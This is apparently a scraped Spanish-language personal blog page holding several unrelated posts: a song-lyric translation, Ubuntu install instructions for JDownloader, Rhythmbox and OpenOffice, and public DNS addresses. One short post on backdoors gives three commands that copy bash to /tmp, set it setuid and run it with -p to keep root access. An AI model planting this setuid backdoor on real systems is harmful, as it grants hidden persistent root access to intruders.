asdf

Nueva sección, traduccion de letras de canciones =D!

Corona (de Flores)

cayendo otra vez dentro
siempre la misma pesadilla
sigue sin ser suficiente
deteniéndose al borde del descubrimiento
moviéndose hacia la oscuridad
escapando dentro para encubrir
arrastrándome debajo
amarrado y desatado a la vez

viejas memorias
no necesito, pero quiero saber
que son las tragedias
la historia detrás de las paredes

caminando más abajo
risas familiares de niños
disonantes y fuera de tiempo
y sus ojos están muertos
Mirándome en una piscina de agua
vistiendo la mascara de un fantasma
mancha sobre toda mi piel
tierra putrefacta e insectos

Noche sin fin
siempre preservando la calma
movimiento detrás
animales sangrantes en un campo de fuego
no hay absolución
la muerte no es mas que un cuento de hadas
ellos son simples visiones
ellos me temen

Visión clara
un humo se levanta en las cercanías
polvo cubriendo mi abrigo
se mezclan para deletrear mi nombre
pálido, me cubrió con sudor
no quedan más palabras
exclusivo proveedor de muerte
fe distorsionada en mi
quema de la cosecha humana
volteando las paginas más negras
percepción retorcida vuelta realidad
capturado en sueños conectados

clavando la mirada
decadencia espiritual – sigo buscando
congelado en el tiempo
lloro esta partida – todos viendo
llamándome de regreso
cierre a asuntos sombríos – me voy
fin de una búsqueda
llegada de la mañana
llamándome de regreso
cierre a asuntos sombríos – me voy
fin de una búsqueda
llegada de la mañana – regresando

Sugerencias en la traducción son siempre bienvenidas ;)

JDownloader es un administrador de descargas con soporte de plug-ins que permiten descargas de los más populares servidores de archivos, tales como Rapidshare o Megaupload.

sudo add-apt-repository ppa:jd-team/jdownloader

sudo aptitude update ; sudo aptitude install jdownloader

Y listo, ahora lo podremos encontrar en Aplicaciones/Internet.

Corto por Iván Sainz-Pardo.

Un corto para todos los que tenemos que levantarnos temprano X_x…

Por el estudio de animación independiente Mesai.

Si quieren descargar el video en HD: http://www.mesai.co.kr/

Algunas de las mejoras en esta nueva versión de Rhythmbox:

• ReplayGain plugin que realmente funciona.
• Enviar a plugin.
• Soporte para cliente de mensajería Pidgin.
• Panel contextual.
• Soporte para ordenar por Artista y Album (POR FINNN!! =D!).
• Para más inforamción visite la lista de correos de Rhythmbox.

Y ahora a instalar. Agregamos el ppa:

NOTA: Dentro de este repositorios además se encuentran otras aplicaciones tales como VLC, gThumb, entre otras.

sudo add-apt-repository ppa:nilarimogard/webupd8

Actualizamos:

sudo aptitude update && sudo aptitude install rhythmbox rhythmbox-plugins rhythmbox-plugin-coherence rhythmbox-plugin-cdrecorder

[Show as slideshow]

Fuente: Webupd8

El otro día estaba buscando alternativas al DNS que me proporciona mi ISP, y me encontré con este script que mide el tiempo de respuesta de tu DNS y el de otros 4 DNS públicos.

DNSs Públicos:

Google: 8.8.8.8

¿?: 4.2.2.2

OpenDNS: 208.67.222.222

DNS Adv.: 156.154.70.1

fuente del script: Tech-Sutra.

OOo4Kids es un proyecto de OpenOffice.org y la asociación francesa EducOOo, que nace ante la necesidad de una solución de ofimática para niños de entre 7 y 12 años.

Instalación

Para facilitar la instalación he creado un pequeño script que puedes descargar de aquí: ooo4kids.tar.gz

Descomprimimos

tar -xvzf ooo4kids.sh.tar.gz

Le damos permisos de ejecución:

chmod +x ooo4kids.sh

y ejecutamos como root:

sudo bash ooo4kids.sh

Una vez halla terminado, en nuestro menú de aplicaciones/ofimática podremos encontrarlo ;)!

Según Wikipedia un backdoor es:

En la informática, una puerta trasera (o en inglés backdoor), es una secuencia especial dentro del código de programación mediante la cual el programador puede acceder o escapar de un programa en caso de emergencia o contingencia en algún problema.

Estas puertas también pueden ser utilizadas para fines maliciosos y espionaje.

cp -p /bin/bash /tmp

chmod u+s /tmp/bash

/tmp/bash -p

Primero desinstalamos el OpenOffice que viene instalado:

sudo apt-get remove openoffice*

Una vez desinstalado descargamos  y descomprimimos el nuevo OpenOffice:
32 bits:

wget http://download.services.openoffice.org/files/localized/es/3.2.1/OOo_3.2.1_Linux_x86_install-deb_es.tar.gz && tar -xvf OOo_3.2.1_Linux_x86_install-deb_es.tar.gz

64 bits:

wget http://download.services.openoffice.org/files/localized/es/3.2.1/OOo_3.2.1_Linux_x86-64_install-deb_es.tar.gz && tar -xvf OOo_3.2.1_Linux_x86-64_install-deb_es.tar.gz

Ahora instalamos:

dpkg -iR DEBS/

Y listo, ahora tenemos nuestro nuevo y flamante OpenOffice 3.2